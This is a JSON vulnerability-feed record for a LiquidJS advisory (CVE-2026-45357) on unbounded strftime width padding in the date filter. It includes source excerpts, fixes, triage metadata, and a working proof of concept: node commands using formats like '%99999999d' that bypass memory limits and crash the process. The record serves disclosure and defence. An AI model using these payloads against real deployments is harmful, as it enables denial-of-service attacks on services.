{"id":"CVE-2026-45357","kind":"vulnerability","aliases":["CVE-2026-45357","GHSA-hh27-hf48-9f5q"],"related":[],"title":"LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)","description":"## Summary\n\nThe `date` filter's strftime implementation parses width specifiers like `%9999999d` and forwards the captured width unchecked into `pad()`/`padStart()` in `src/util/underscore.ts`. The pad loop performs unbounded string concatenation without consulting the Context's `memoryLimit` or `renderLimit`, so a single small template (`{{ x | date: '%5000000d' }}`) produces megabytes of output and unbounded CPU. The `memoryLimit` and `renderLimit` options the docs (`src/liquid-options.ts:87-92`) advertise as DoS controls — and which the docstring explicitly mentions for `strftime` — are entirely bypassed.\n\n## Details\n\n`date.ts:5-13` only charges `memoryLimit` for the lengths of the input value, format string, and timezone:\n\n```ts\nexport function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {\n  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)\n  this.context.memoryLimit.use(size)\n  ...\n  return strftime(date, format)\n}\n```\n\n`strftime` (`src/util/strftime.ts:121`) then walks the format with `rFormat = /%([-_0^#:]+)?(\\d+)?([EO])?(.)/`. The captured `width` group is passed directly to `padStart`:\n\n```ts\nfunction format (d, match) {\n  const [input, flagStr = '', width, modifier, conversion] = match\n  ...\n  let padWidth = width || padWidths[conversion] || 0\n  ...\n  return padStart(ret, padWidth, padChar)   // strftime.ts:147\n}\n```\n\n`padStart` calls `pad()` in `src/util/underscore.ts:153`:\n\n```ts\nexport function pad (str, length, ch, add) {\n  str = String(str)\n  let n = length - str.length\n  while (n-- > 0) str = add(str, ch)   // unbounded loop\n  return str\n}\n```\n\nThe loop has no upper bound and never consults `this.context.memoryLimit` or `renderLimit`. The pad is also implemented as repeated `ch + str` string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.\n\nFilter arguments accept context-evaluated values (`src/template/filter.ts:30-31`, `evalToken(arg, context)`), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.\n\nThis is a separate sink from the previously-reported quadratic `replace` finding: a different filter (`date`), a different parser (the strftime width regex), and a different concatenation site (`pad()` in `underscore.ts`).\n\n## PoC\n\nSetup: `npm install liquidjs@10.25.7`.\n\nStep 1 — bypass `memoryLimit` and `renderLimit` (5 MB output, ~200 ms, both limits set to 50):\n\n```bash\nnode -e \"\nconst { Liquid } = require('liquidjs');\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nconst t0 = Date.now();\nconst out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });\nconsole.log('len=', out.length, 'ms=', Date.now()-t0);\n\"\n```\n\nVerified output: `len= 5000000 ms= 198`. The `memoryLimit:50` (50-byte budget) and `renderLimit:50` (50 ms budget) are both ignored.\n\nStep 2 — OOM-kill the Node process under a 200 MB heap cap:\n\n```bash\nnode --max-old-space-size=200 -e \"\nconst { Liquid } = require('liquidjs');\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nliquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });\n\"\n```\n\nVerified output: `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`. Process is killed.\n\nThe realistic attack template is `{{ post.created_at | date: user_supplied_format }}`, where `user_supplied_format` is any context value an attacker can influence (profile field, query param mapped into template context, etc.).\n\n## Impact\n\n- DoS against any LiquidJS-rendered surface where a context value reaches the `date` filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.\n- Bypass of the engine's two documented DoS controls — `memoryLimit` and `renderLimit` — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.\n- All `date_to_xmlschema`, `date_to_rfc822`, `date_to_string`, `date_to_long_string` paths share the same sink via `strftime`, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on `date`.\n\n## Recommended Fix\n\nTwo complementary fixes:\n\n1. Have `pad()` in `src/util/underscore.ts` charge the Context's memory limit and use `String.prototype.repeat` instead of an O(n) concatenation loop. Since `pad()` is generic, the simplest version takes the memory limit as a parameter:\n\n```ts\nexport function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {\n  str = String(str)\n  const n = length - str.length\n  if (n <= 0) return str\n  return add === ((s, c) => c + s)\n    ? ch.repeat(n) + str\n    : str + ch.repeat(n)\n}\n```\n\n2. Cap `padWidth` in `src/util/strftime.ts:141` and account for it via `memoryLimit`. The `date` filter (`src/filters/date.ts`) should also charge `this.context.memoryLimit.use(parsedMaxWidth)` before invoking `strftime`, e.g. by scanning the format for `%(\\d+)` widths and summing them. A conservative cap (e.g. `Math.min(width, 1024)` for non-`N` conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.\n\nBoth fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.","summary":"LiquidJS's date filter passes an unbounded width from a format string into a padding loop that does not count against memoryLimit or renderLimit. An attacker who controls the date format in a template can make a small template produce megabytes of output and heavy CPU use, or crash the Node process with out-of-memory.","severity":"high","cvss":7.5,"epss":0.00385,"exploited":false,"exploited_at":null,"products":[{"name":"liquidjs","fixed":["10.26.0"],"affected":"<= 10.25.7","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-400","liquidjs","node","package","self-hosted"],"not_affected_if":["liquidjs-below-10.25.7","static-templates"],"how_to_check":"- Run `npm ls liquidjs` in the project to find the installed `liquidjs` version.\n- Search templates and code for `date:` filter calls whose format argument comes from a context value or user input.","fix":"- Upgrade `liquidjs` to `10.26.0` or later.\n- Until upgraded, do not pass user-controlled values as the format argument of the `date` filter.","status":"open","published_at":"2026-05-27T17:33:52+00:00","first_seen_at":"2026-10-28T15:04:07+00:00","triaged_at":"2026-10-28T15:05:44+00:00","updated_at":"2026-10-28T15:05:44+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-28T15:05:44Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `liquidjs` to `10.26.0` or later.\n- Until upgraded, do not pass user-controlled values as the format argument of the `date` filter.","reach":"internet","title":"LiquidJS: date filter width padding bypasses memory and render limits","impact":"medium","summary":"LiquidJS's date filter passes an unbounded width from a format string into a padding loop that does not count against memoryLimit or renderLimit. An attacker who controls the date format in a template can make a small template produce megabytes of output and heavy CPU use, or crash the Node process with out-of-memory.","category":"package","nicknames":[],"who_cares":["liquidjs","node","self-hosted"],"confidence":0.8,"needs_auth":"unknown","worst_case":"Attacker crashes Node process via memory exhaustion or burns CPU","analyst_note":"","how_to_check":"- Run `npm ls liquidjs` in the project to find the installed `liquidjs` version.\n- Search templates and code for `date:` filter calls whose format argument comes from a context value or user input.","needs_analyst":false,"not_affected_if":["static-templates","liquidjs-below-10.25.7"],"who_is_affected":"Applications that render LiquidJS templates where a context value, such as a profile field or query parameter, reaches the format argument of the `date` filter. Templates with fixed date formats are not directly exposed. Teams that never render user-influenced templates can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000815,"input_tokens":5478,"output_tokens":535,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-13':174C '-2026':18A,26A '-31':348C '-400':30B '-45357':19A,27A '-92':156C '0':209C,212C,217C,233C,262C,292C '1':417C '10.25.7':415C '121':226C '153':274C '198':471C '2':488C '200':425C,497C,508C '30':347C '5':422C '50':431C,444C,446C,474C,475C,480C,481C,519C,521C '5000000':469C '5000000d':139C,459C '87':155C '99999999d':529C '9999999d':105C '9f5q':24A 'accept':341C 'add':282C,294C 'advertis':157C 'alloc':541C,613C 'also':316C 'amplifi':336C 'arg':350C 'argument':340C,601C 'attack':62B,375C,553C,571C 'attacker-control':374C 'bash':432C,501C 'bound':306C 'budget':477C,483C 'bypass':8A,171C,418C,629C 'byte':329C,476C 'call':270C,605C 'cap':500C 'captur':109C,237C 'ch':281C,296C,320C 'charg':176C 'compact':537C 'concaten':123C,323C,405C 'console.log':460C 'const':203C,250C,435C,439C,447C,450C,510C,514C 'consult':125C,309C 'consumpt':338C 'context':127C,343C,351C,358C,568C,581C,593C 'context-evalu':342C 'control':64B,160C,376C,637C 'convers':255C,261C 'cost':330C 'count':56B 'cpu':82B,146C,337C,617C 'crash':85B,625C 'cve':17A,25A 'cwe':29B 'd':234C,248C,453C,456C,523C,526C 'date':14A,39B,66B,96C,138C,192C,197C,222C,362C,394C,454C,524C,558C,597C 'date.now':449C,464C 'date.ts:5':173C 'deploy':354C 'detail':172C 'differ':392C,396C,404C 'direct':242C 'doc':153C 'docstr':164C 'document':365C,635C 'dos':159C,584C,636C 'e':434C,509C 'engin':632C 'entir':170C 'eo':235C 'error':533C 'etc':582C 'evaltoken':349C 'evalu':344C 'explicit':165C 'export':190C,276C 'expos':370C 'f':455C,458C,525C,528C 'fail':542C 'fatal':532C 'field':575C 'filter':15A,40B,97C,339C,393C,598C 'filterimpl':194C 'find':390C 'flagstr':252C 'format':47B,67B,185C,198C,210C,223C,230C,247C,363C,561C,565C,600C 'forward':107C 'function':191C,246C,277C 'ghsa':21A 'ghsa-hh27-hf48-9f5q':20A 'group':239C 'grow':331C 'heap':499C,539C,544C 'heavi':81B 'hf48':23A 'hh27':22A 'host':36B,627C 'ignor':486C 'impact':583C 'implement':100C,317C 'ineffect':534C 'influenc':573C 'input':183C,251C,377C 'instal':413C 'javascript':543C 'kill':491C,550C 'len':461C,468C 'length':180C,208C,211C,216C,280C,288C,334C 'let':257C,286C 'like':104C 'limit':7A,428C,540C 'liquid':436C,440C,442C,511C,515C,517C 'liquid.parseandrendersync':452C,522C 'liquidj':1A,31B,37B,414C,438C,513C,588C 'liquidjs':28A 'liquidjs-rend':587C 'loop':52B,119C,298C,302C 'make':72B,325C 'map':578C 'mark':536C 'mark-compact':535C 'match':249C,256C 'max':504C 'max-old-space-s':503C 'mb':423C,498C,612C 'megabyt':77B,141C 'memori':4A,93B,547C 'memorylimit':58B,129C,148C,177C,419C,443C,473C,518C 'mention':166C 'modifi':254C 'ms':426C,463C,470C,482C 'multi':611C 'multi-mb':610C 'n':287C,291C 'near':538C 'never':308C 'new':441C,516C 'node':32B,87B,433C,493C,502C 'npm':412C 'number':201C 'old':505C 'oom':490C,623C 'oom-kil':489C 'option':151C 'out-of-memori':90B 'out.length':462C 'output':79B,143C,333C,424C,467C,531C 'packag':33B 'pad':12A,51B,113C,118C,271C,278C,314C,407C 'padchar':267C 'padstart':114C,244C,264C,269C 'padwidth':258C,260C,266C 'param':577C 'pars':101C 'parser':397C 'pass':41B,241C,356C 'pattern':369C 'per':328C,618C 'per-byt':327C 'perform':120C 'poc':410C 'post.created':556C 'previous':386C 'previously-report':385C 'process':88B,494C,548C,628C 'produc':76B,140C 'profil':574C 'quadrat':388C 'queri':576C 'reach':595C 'realist':552C 'regex':401C 'render':6A,589C,604C 'renderlimit':60B,131C,150C,312C,421C,445C,479C,520C 'repeat':319C 'replac':389C 'report':387C 'request':619C 'requir':437C,512C 'ret':265C 'return':220C,263C,299C 'rformat':232C 'second':615C 'self':35B 'self-host':34B 'separ':381C 'set':429C 'setup':411C 'singl':134C,603C 'sink':372C,382C 'site':406C 'size':204C,219C,507C 'small':74B,135C 'space':506C 'specifi':103C 'src/liquid-options.ts':154C 'src/template/filter.ts':346C 'src/util/strftime.ts':225C 'src/util/underscore.ts':116C,273C 'step':416C,487C 'str':279C,283C,285C,293C,295C,300C,321C 'str.length':289C 'strftime':16A,99C,168C,221C,224C,399C 'strftime.ts:147':268C 'string':48B,122C,186C,196C,199C,202C,207C,215C,284C,322C 'summari':94C 'suppli':560C,564C 'surfac':590C 't0':448C,465C 'templat':70B,75B,136C,554C,580C 'test':367C 'this.context.memorylimit':310C 'this.context.memorylimit.use':218C 'timezon':188C 'timezoneoffset':200C,213C 'ts':189C,245C,275C 'turn':608C 'two':634C 'unbound':10A,43B,121C,145C,297C 'uncheck':111C 'underscore.ts':409C 'upper':305C 'usag':368C 'use':83B 'user':559C,563C 'v':195C,205C 'valu':184C,345C,359C,569C,594C 'verifi':466C,530C 'via':9A 'walk':228C 'width':11A,44B,102C,110C,238C,253C,259C,400C 'without':124C 'x':137C","nicknames":[],"mitigations":[],"who_affected":"Applications that render LiquidJS templates where a context value, such as a profile field or query parameter, reaches the format argument of the `date` filter. Templates with fixed date formats are not directly exposed. Teams that never render user-influenced templates can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-05-27T17:33:52+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-hh27-hf48-9f5q","url":"https://github.com/advisories/GHSA-hh27-hf48-9f5q","severity":"high","published_at":"2026-05-27T17:33:52+00:00","modified_at":"2026-10-28T15:02:57+00:00","first_seen_at":"2026-10-28T15:04:07+00:00","fetched_at":"2026-10-28T15:09:09+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-45357","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45357","severity":null,"published_at":"2026-06-17T23:17:03+00:00","modified_at":"2026-10-26T11:10:00+00:00","first_seen_at":"2026-10-28T15:33:37+00:00","fetched_at":"2026-10-28T15:33:37+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}